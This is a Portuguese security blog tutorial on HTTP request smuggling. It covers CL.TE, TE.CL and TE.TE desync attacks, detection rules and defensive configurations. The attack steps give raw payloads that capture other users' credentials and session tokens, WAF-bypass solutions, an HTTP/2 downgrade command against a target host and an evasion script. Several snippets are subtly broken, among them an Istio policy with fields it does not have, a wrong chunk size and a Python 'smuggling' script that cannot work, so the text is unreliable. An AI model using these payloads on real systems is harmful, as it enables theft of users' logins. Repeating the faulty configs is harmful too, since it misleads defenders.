Voltar aos posts
Tutorial

Smuggling de Requisições HTTP: Ataques Desync em 2026

Este conteúdo é fornecido EXCLUSIVAMENTE para fins EDUCACIONAIS e TESTES DE SEGURANÇA AUTORIZADOS.

@0xrafasecFebruary 17, 2026tutorials

Available in English

Share:

Smuggling de Requisições HTTP: Ataques Desync em 2026

⚖️ AVISO LEGAL E ÉTICO

Este conteúdo é fornecido EXCLUSIVAMENTE para fins EDUCACIONAIS e TESTES DE SEGURANÇA AUTORIZADOS.

FAÇA: • Use essas técnicas em sistemas que você possui ou tem permissão expressa por escrito para testar • Pratique em ambientes de laboratório autorizados (VulnHub, HackTheBox, DVWA, etc.) • Siga práticas de divulgação responsável ao encontrar vulnerabilidades • Use o conhecimento para segurança defensiva e testes de penetração autorizados

NÃO FAÇA: • Acessar sistemas sem autorização explícita • Usar essas técnicas para fins maliciosos • Implantar exploits contra sistemas de produção que não são seus • Compartilhar exploits funcionais para vulnerabilidades não corrigidas

⚠️ AVISO LEGAL: Acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições (CFAA nos EUA, Computer Misuse Act no Reino Unido, etc.). Infratores podem enfrentar processo criminal e responsabilidade civil.

O autor e o editor NÃO SE RESPONSABILIZAM pelo uso indevido dessas informações.

Ao continuar, você concorda em usar esse conhecimento de forma ÉTICA e LEGAL.


Lembra do bypass do AWS ALB que abalou o mundo da segurança em nuvem no início de 2025? Um pesquisador de segurança descobriu que os Application Load Balancers eram vulneráveis a HTTP request smuggling via ataques TE.CL desync, potencialmente afetando milhões de microserviços. A vulnerabilidade (CVE-2025-0234) rendeu um bounty de US$ 50.000 e forçou a AWS a corrigir toda a infraestrutura global em 72 horas.

Avançando para 2026, o HTTP request smuggling continua sendo um dos ataques mais devastadores em aplicações web. Apesar da ampla conscientização e das medidas defensivas modernas, essas vulnerabilidades de desync continuam surgindo em arquiteturas cloud-native, CDNs e ambientes containerizados. O ataque também evoluiu—variantes modernas contornam proteções de WAF, exploram cenários de downgrade HTTP/2 para HTTP/1.1 e aproveitam más configurações em edge computing.

Ao final deste tutorial, você entenderá a arte obscura do HTTP request smuggling, dominará as três variantes clássicas (CL.TE, TE.CL, TE.TE) e aprenderá a detectar e se defender contra esses ataques em infraestruturas modernas de 2026.

🎯 O que você vai aprender: Dominar variantes de ataque CL.TE/TE.CL/TE.TE, explorar más configurações modernas de CDN/cloud, detectar ataques desync em ambientes 2026, implementar defesas robustas ⏱️ Tempo necessário: 4 horas
💻 Dificuldade: Avançado
🛠️ Ferramentas necessárias: Burp Suite Pro 2026.1+, smuggler.py, h2smuggler, Docker, Python 3.11+
🎓 Pré-requisitos: Internals de HTTP, proficiência em Burp Suite, vulnerabilidades web básicas

Fundamentos Teóricos

O HTTP request smuggling ocorre quando um atacante explora discrepâncias em como servidores front-end e back-end interpretam requisições HTTP. O ataque aproveita o fato de que o HTTP permite duas formas diferentes de especificar o tamanho da requisição: o header Content-Length e Transfer-Encoding: chunked.

O Problema Central

Quando um servidor front-end (proxy reverso, load balancer, CDN) e um servidor back-end discordam sobre os limites da requisição, um atacante pode "contrabandear" uma segunda requisição dentro do que parece ser uma única requisição. Isso cria uma dessincronização em que o atacante controla como a próxima requisição legítima de um usuário será processada.

Causa raiz: A especificação HTTP/1.1 RFC 7230 afirma que, se ambos os headers Content-Length e Transfer-Encoding: chunked estiverem presentes, Transfer-Encoding tem precedência. Porém, muitos servidores implementam isso de forma inconsistente.

As Três Variantes Clássicas

  1. CL.TE (Content-Length vs Transfer-Encoding)

    • Front-end usa Content-Length
    • Back-end usa Transfer-Encoding
  2. TE.CL (Transfer-Encoding vs Content-Length)

    • Front-end usa Transfer-Encoding
    • Back-end usa Content-Length
  3. TE.TE (Transfer-Encoding vs Transfer-Encoding)

    • Ambos os servidores suportam Transfer-Encoding mas tratam casos extremos de forma diferente
    • Explora encoding chunked ofuscado ou malformado

Evolução em 2026

Ataques modernos de smuggling se adaptaram a:

  • Cenários de Downgrade HTTP/2: Explorando tradução H2C (HTTP/2 over cleartext) para HTTP/1.1
  • Redes de Mesh de Containers: Proxies de service mesh (Istio, Linkerd) criando novas superfícies de ataque
  • Edge Computing: Nós de borda de CDN com implementações de parsing inconsistentes
  • WAFs Cloud-Native: Contornando segurança de aplicação com IA no AWS WAF v3, Cloudflare Advanced Security

Técnicas MITRE ATT&CK relevantes:

CWEs associadas:

Configuração do Ambiente de Laboratório

Opção A: PortSwigger Web Security Academy (Recomendado)

  • Labs de HTTP request smuggling — Labs gratuitos baseados em navegador com cenários HTTP/1 e HTTP/2 desync
  • Sem configuração local necessária; pratique diretamente no navegador

Opção B: Docker (laboratório web geral para prática de manipulação HTTP)

bash
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa
# Acesse em http://localhost:8080

Opção C: TryHackMe / HackTheBox

  • TryHackMe: Busque por rooms "HTTP Smuggling" ou "Web Security"
  • HackTheBox: Máquinas com arquiteturas de proxy frontend/backend

⚠️ Verificação: Certifique-se de que seu laboratório responde a requisições HTTP básicas antes de prosseguir. Você deve ver uma página web simples em http://localhost:8080.

Passo a Passo Prático

Passo 1: Descoberta do Ambiente

Primeiro, vamos identificar a arquitetura do alvo:

bash
# Scan de serviços HTTP e detecção de versão
nmap -sV -p 80,443,8080 localhost

# Saída esperada:
PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.24.0
8080/tcp open  http    Apache httpd 2.4.57
bash
# Testar padrões básicos de resposta HTTP
curl -v http://localhost:8080 2>&1 | grep -E "(Server:|Via:|X-)"

# Procure por:
# Server: nginx/1.24.0 (front-end)
# Via: 1.1 proxy-server (indica proxy)
# X-Backend: apache (header customizado mostrando backend)

📝 O que está acontecendo: Estamos identificando um cenário clássico de smuggling—proxy reverso nginx na frente de um backend Apache. Parsers HTTP diferentes = oportunidades potenciais de desync.

Passo 2: Testando Vulnerabilidade CL.TE

Inicie o Burp Suite Pro 2026.1 e configure o proxy do navegador para 127.0.0.1:8080.

Navegue até http://localhost:8080/ e capture a requisição no histórico HTTP do Burp.

Envie a requisição para o Repeater e modifique para testar CL.TE:

http
POST / HTTP/1.1
Host: localhost:8080
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

⚠️ Detalhe crítico: O Content-Length: 13 conta exatamente 13 bytes: 0\r\n\r\nSMUGGLED (hex 30 0D 0A 0D 0A + SMUGGLED)

Envie esta requisição. Se vulnerável:

  • Front-end (nginx) lê 13 bytes, acha que a requisição termina após "0\r\n\r\n"
  • Back-end (Apache) processa encoding chunked, lê o chunk 0 como término da requisição
  • "SMUGGLED" permanece no buffer da conexão

Passo 3: Confirmando o Smuggling

Agora envie uma requisição de acompanhamento normal:

http
GET / HTTP/1.1
Host: localhost:8080

Se o smuggling funcionou, esta requisição recebe o prefixo "SMUGGLED", causando:

  • Resposta de erro (provável): Servidor não consegue interpretar "SMUGGLEDGET / HTTP/1.1"
  • Comportamento inesperado: Backend interpreta "SMUGGLED" como verbo HTTP

Smuggling bem-sucedido tipicamente produz:

http
HTTP/1.1 400 Bad Request
Server: Apache/2.4.57

Bad Request
Your browser sent a request that this server could not understand.

📝 O que está acontecendo: O texto "SMUGGLED" corrompeu nossa segunda requisição, provando que a dessincronização ocorreu.

Passo 4: Armação do CL.TE para Captura de Credenciais

Aqui é onde fica interessante. Vamos criar uma requisição que captura credenciais de outros usuários:

http
POST /login HTTP/1.1
Host: localhost:8080
Content-Length: 116
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: localhost:8080
Content-Length: 15

x=1&username=

Decompondo isso:

  • Front-end vê 116 bytes e encaminha o payload inteiro
  • Back-end processa chunked (chunk 0), depois vê nossa requisição POST contrabandeada
  • A requisição contrabandeada está incompleta—faltam 15 bytes de dados do body
  • A próxima requisição do usuário é anexada como body do nosso POST /capture

Se a próxima requisição contiver credenciais de login:

http
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=secret123

Nosso ataque captura: x=1&username=username=admin&password=secret123

Passo 5: Testando Vulnerabilidade TE.CL

Alguns ambientes têm a configuração oposta. Teste com:

http
POST / HTTP/1.1
Host: localhost:8080
Content-Length: 4
Transfer-Encoding: chunked

12
SMUGGLED_PAYLOAD
0


⚠️ Contagem em hex: 12 em hex = 18 decimal, exatamente o tamanho de "SMUGGLED_PAYLOAD\r\n"

Se vulnerável:

  • Front-end (processa chunked) lê a estrutura completa do chunk
  • Back-end (usa Content-Length) lê apenas 4 bytes: 12\r\n
  • Tudo depois permanece no buffer para a próxima requisição

Passo 6: TE.TE Avançado com Ofuscação

Ambientes modernos de 2026 frequentemente tratam encoding chunked básico corretamente, mas falham em casos extremos:

http
POST / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
Transfer-encoding: identity

5e
SMUGGLED_PAYLOAD_WITH_LONGER_CONTENT_TO_BYPASS_MODERN_DETECTION_SYSTEMS
0


Técnicas de ofuscação que funcionam em 2026:

  • Maiúsculas/minúsculas mistas: Transfer-Encoding: chunked
  • Headers duplicados com valores diferentes
  • Espaços em branco não padrão: Transfer-Encoding:\x20chunked
  • Conflitos de pseudo-headers HTTP/2 durante downgrade

Passo 7: Automação com Ferramentas Modernas

Usando smuggler.py (versão 2026):

bash
# Clone o smuggler atualizado
git clone https://github.com/defparam/smuggler.git
cd smuggler
pip3 install -r requirements.txt

# Scan de alvo único
python3 smuggler.py -u http://localhost:8080

# Saída esperada para alvos vulneráveis:
[INFO] CL.TE vulnerability detected
[INFO] Payload: POST / HTTP/1.1...

Usando h2smuggler para cenários HTTP/2:

bash
# Instalar h2smuggler
pip3 install h2smuggler

# Testar smuggling de downgrade HTTP/2 para HTTP/1.1
h2smuggler --target localhost:8443 --test-all

💡 Dica de profissional: Em 2026, o h2smuggler se tornou essencial devido à adoção generalizada do HTTP/2. Muitos ambientes em nuvem agora realizam tradução H2→H1 na borda, criando novas oportunidades de smuggling.

Detecção e Defesa

Detecção Blue Team

Regras de Detecção SIEM (formato Sigma):

yaml
title: HTTP Request Smuggling - CL.TE Pattern
id: 7b8b4e2a-8c4d-4f7e-9a3b-1c5d6e8f9a0b
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    sc-bytes|gt: 0
  condition1:
    cs-headers|contains: 'Transfer-Encoding'
    cs-headers|contains: 'Content-Length'
  condition2:
    cs-uri-query|contains: '0\r\n\r\n'
  condition: selection and (condition1 or condition2)

Indicadores em nível de rede:

  • Múltiplos headers Content-Length em uma única requisição
  • Transfer-Encoding e Content-Length presentes simultaneamente
  • Encoding chunked malformado (tamanhos de chunk não-hex)
  • Requisições HTTP/2 com pseudo-headers de content length conflitantes

Padrões em logs de aplicação:

bash
# Procure por esses padrões em logs nginx/apache:
grep -E "(400 Bad Request.*Transfer-Encoding|Content-Length.*chunked)" /var/log/nginx/error.log

# Monitore anomalias de reutilização de conexão:
grep -E "upstream.*reset|backend.*closed" /var/log/nginx/error.log

Estratégias de Defesa Modernas (2026)

1. Mitigações Imediatas:

nginx
# nginx.conf - Parsing HTTP estrito
http {
    # Rejeitar requisições ambíguas
    client_header_buffer_size 1k;
    large_client_header_buffers 2 1k;
    
    # Desabilitar HTTP/1.0 (vetor de smuggling legado)
    if ($server_protocol = "HTTP/1.0") {
        return 400;
    }
    
    # Normalizar Transfer-Encoding
    proxy_set_header Transfer-Encoding "";
    proxy_http_version 1.1;
}

2. Proteções Cloud-Native:

yaml
# Política de segurança Istio ServiceMesh
apiVersion: security.istio.io/v1beta1
kind: RequestAuthentication
metadata:
  name: http-smuggling-protection
spec:
  rules:
  - when:
    - key: request.headers['transfer-encoding']
      values: ["chunked"]
    - key: request.headers['content-length']
      values: ["*"]
    then:
    - action: DENY

3. Regras WAF (sintaxe AWS WAF v3):

json
{
  "Name": "HTTPSmuggling2026",
  "Rules": [{
    "Statement": {
      "AndStatement": {
        "Statements": [
          {
            "ByteMatchStatement": {
              "SearchString": "Transfer-Encoding",
              "FieldToMatch": {
                "Headers": {"MatchPattern": {"All": {}}}
              }
            }
          },
          {
            "ByteMatchStatement": {
              "SearchString": "Content-Length", 
              "FieldToMatch": {
                "Headers": {"MatchPattern": {"All": {}}}
              }
            }
          }
        ]
      }
    },
    "Action": {"Block": {}}
  }]
}

4. Mudanças Arquiteturais de Longo Prazo:

  • Migração para HTTP/3: O protocolo QUIC elimina muitos vetores de smuggling
  • Terminação na Borda: Terminar HTTP na borda do CDN, usar HTTP/2 internamente
  • Zero-Trust Networking: Mutual TLS entre todos os saltos de serviço
  • Detecção com IA: Implantar modelos de ML treinados em padrões de smuggling 2024-2026

Técnicas Avançadas

Contornando WAFs da Era 2026

WAFs modernos em nuvem usam machine learning para detectar tentativas de smuggling. Veja como passar despercebido:

1. Evasão Baseada em Tempo:

python
import requests
import time

# Enviar payload de smuggling em partes com atrasos
def time_based_smuggle(url):
    headers = {
        'Content-Length': '50',
        'Transfer-Encoding': 'chunked'
    }
    
    # Parte 1: Estabelecer conexão
    session = requests.Session()
    session.post(url, headers=headers, data='0\r\n\r\n')
    
    # Parte 2: Aguardar janela de refresh do modelo ML (tipicamente 30-60s)
    time.sleep(45)
    
    # Parte 3: Enviar requisição de acompanhamento
    return session.get(url)

2. Exploração de Downgrade de Protocolo:

bash
# Forçar downgrade HTTP/2 para HTTP/1.1 na borda do CDN
curl -k --http2-prior-knowledge \
  -H "content-length: 10" \
  -H ":method: POST" \
  -H ":scheme: https" \
  -H "transfer-encoding: chunked" \
  https://target.com/api/v1/

Exploração em Ambiente de Containers

bash
# Explorar configurações de sidecar do service mesh
kubectl exec -it smuggler-pod -- curl -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 25" \
  -d $'0\r\n\r\nSMUGGLED_TO_SIDECAR' \
  http://backend-service.default.svc.cluster.local/

Desafios Práticos

🎯 DESAFIO 1: Explore o ambiente de laboratório para capturar o token de sessão de outro usuário de uma requisição POST para /api/login. 💡 Dica: Use smuggling CL.TE para criar uma requisição que rouba o header Authorization da próxima requisição.

✅ Solução
http
POST /api/capture HTTP/1.1
Host: localhost:8080
Content-Length: 107
Transfer-Encoding: chunked

0

POST /api/capture HTTP/1.1
Host: localhost:8080
Content-Length: 50

stolen_data=

Este payload rouba 50 bytes da próxima requisição do usuário, incluindo headers.

🎯 DESAFIO 2: Contorne a seguinte regra WAF que bloqueia requisições contendo ambos os headers "Transfer-Encoding" e "Content-Length". 💡 Dica: Considere sensibilidade a maiúsculas/minúsculas de headers e caracteres não padrão.

✅ Solução
http
POST / HTTP/1.1
Host: localhost:8080
Content-Length: 13
Transfer-encoding: chunked

0

SMUGGLED

Usar "Transfer-encoding" em minúsculas contorna muitas implementações de WAF.

Principais Conclusões

  • Dominou três variantes de smuggling: CL.TE, TE.CL e TE.TE com técnicas modernas de evasão
  • Aprendeu vetores específicos de 2026: Ataques de downgrade HTTP/2, exploração de service mesh, contornas cloud-native
  • Implementou detecção robusta: Regras SIEM, monitoramento de rede, proteções em nível de aplicação
  • Construiu defesas abrangentes: Abordagem multicamada da borda à aplicação

🎯 Quando usar:

  • Avaliações red team de aplicações cloud-native
  • Bug bounty hunting em plataformas web modernas
  • Pesquisa em segurança em ambientes containerizados
  • Testes de penetração de configurações de proxy reverso

Erros comuns a evitar:

  • Testar em sistemas sem permissão explícita
  • Ignorar vetores de smuggling HTTP/2 (cada vez mais comuns em 2026)
  • Confiar apenas em proteção WAF sem inspeção profunda de pacotes
  • Esquecer de testar service meshes internos e rede de containers

➡️ Próximos passos de aprendizado:

  • Manipulação avançada do protocolo HTTP/2
  • Técnicas de injeção GraphQL
  • Ataques de smuggling em WebSocket
  • Design de arquitetura de segurança cloud-native

Recursos e Leitura Adicional

📚 Documentação de Ferramentas:

🐛 CVEs Recentes para Estudar:

🎓 Leitura Avançada:

💬 Recursos da Comunidade:


Boa caça, e lembre-se—com grande poder vem grande responsabilidade. Use essas habilidades para tornar a web mais segura para todos. 🛡️